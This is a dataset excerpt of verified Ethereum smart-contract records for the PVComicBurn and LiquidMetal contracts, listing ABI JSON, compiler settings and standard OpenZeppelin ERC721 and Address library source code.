} | [{"inputs":[{"internalType":"address","name":"comicAddress","type":"address"},{"internalType":"string","name":"baseURI","type":"string"},{"internalType":"uint256","name":"open","type":"uint256"},{"internalType":"uint256","name":"close","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Burned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"start","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"end","type":"uint256"}],"name":"UpdatedWindow","type":"event"},{"inputs":[],"name":"COMIC_TOKEN","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_COMIC_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WINDOW_CLOSES","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WINDOW_OPENS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getBurner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"}],"name":"setWindow","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 0000000000000000000000005ab21ec0bfa0b29545230395e3adaca7d552c94800000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000061049e38000000000000000000000000000000000000000000000000000000006119b8900000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d5953667533506e455a6f63527a31504463557375333668344a7a75334b436a4b5757775847394e336e4346782f00000000000000000000 | Default | false | ||||
PVComicBurn | @openzeppelin/contracts/token/ERC721/ERC721.sol | 0xd0a07a76746707f6d6d36d9d5897b14a8e9ed493 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC721.sol";
import "./IERC721Receiver.sol";
import "./extensions/IERC721Metadata.sol";
import "../../utils/Address.sol";
import "../../utils/Context.sol";
import "../../utils/Strings.sol";
import "../../utils/introspection/ERC165.sol";
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
} | 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"outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"}],"name":"setWindow","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 0000000000000000000000005ab21ec0bfa0b29545230395e3adaca7d552c94800000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000061049e38000000000000000000000000000000000000000000000000000000006119b8900000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d5953667533506e455a6f63527a31504463557375333668344a7a75334b436a4b5757775847394e336e4346782f00000000000000000000 | Default | false | ||||
PVComicBurn | @openzeppelin/contracts/utils/Address.sol | 0xd0a07a76746707f6d6d36d9d5897b14a8e9ed493 | Solidity | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | [{"inputs":[{"internalType":"address","name":"comicAddress","type":"address"},{"internalType":"string","name":"baseURI","type":"string"},{"internalType":"uint256","name":"open","type":"uint256"},{"internalType":"uint256","name":"close","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"approved","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"operator","type":"address"},{"indexed":false,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"burner","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Burned","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":true,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"start","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"end","type":"uint256"}],"name":"UpdatedWindow","type":"event"},{"inputs":[],"name":"COMIC_TOKEN","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"MAX_COMIC_SUPPLY","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WINDOW_CLOSES","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"WINDOW_OPENS","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getBurner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"_data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"string","name":"newBaseURI","type":"string"}],"name":"setBaseURI","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"start","type":"uint256"},{"internalType":"uint256","name":"end","type":"uint256"}],"name":"setWindow","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256[]","name":"tokenIds","type":"uint256[]"}],"name":"swap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"tokenOfOwnerByIndex","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.4+commit.c7e474f2 | false | 200 | 0000000000000000000000005ab21ec0bfa0b29545230395e3adaca7d552c94800000000000000000000000000000000000000000000000000000000000000800000000000000000000000000000000000000000000000000000000061049e38000000000000000000000000000000000000000000000000000000006119b8900000000000000000000000000000000000000000000000000000000000000036697066733a2f2f516d5953667533506e455a6f63527a31504463557375333668344a7a75334b436a4b5757775847394e336e4346782f00000000000000000000 | Default | false | ||||
LiquidMetal | @openzeppelin/contracts/utils/introspection/ERC165.sol | 0x5b846762ff7ebf7814d63a92b35fdd97abd8c6bb | Solidity | pragma solidity ^0.8.0;
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
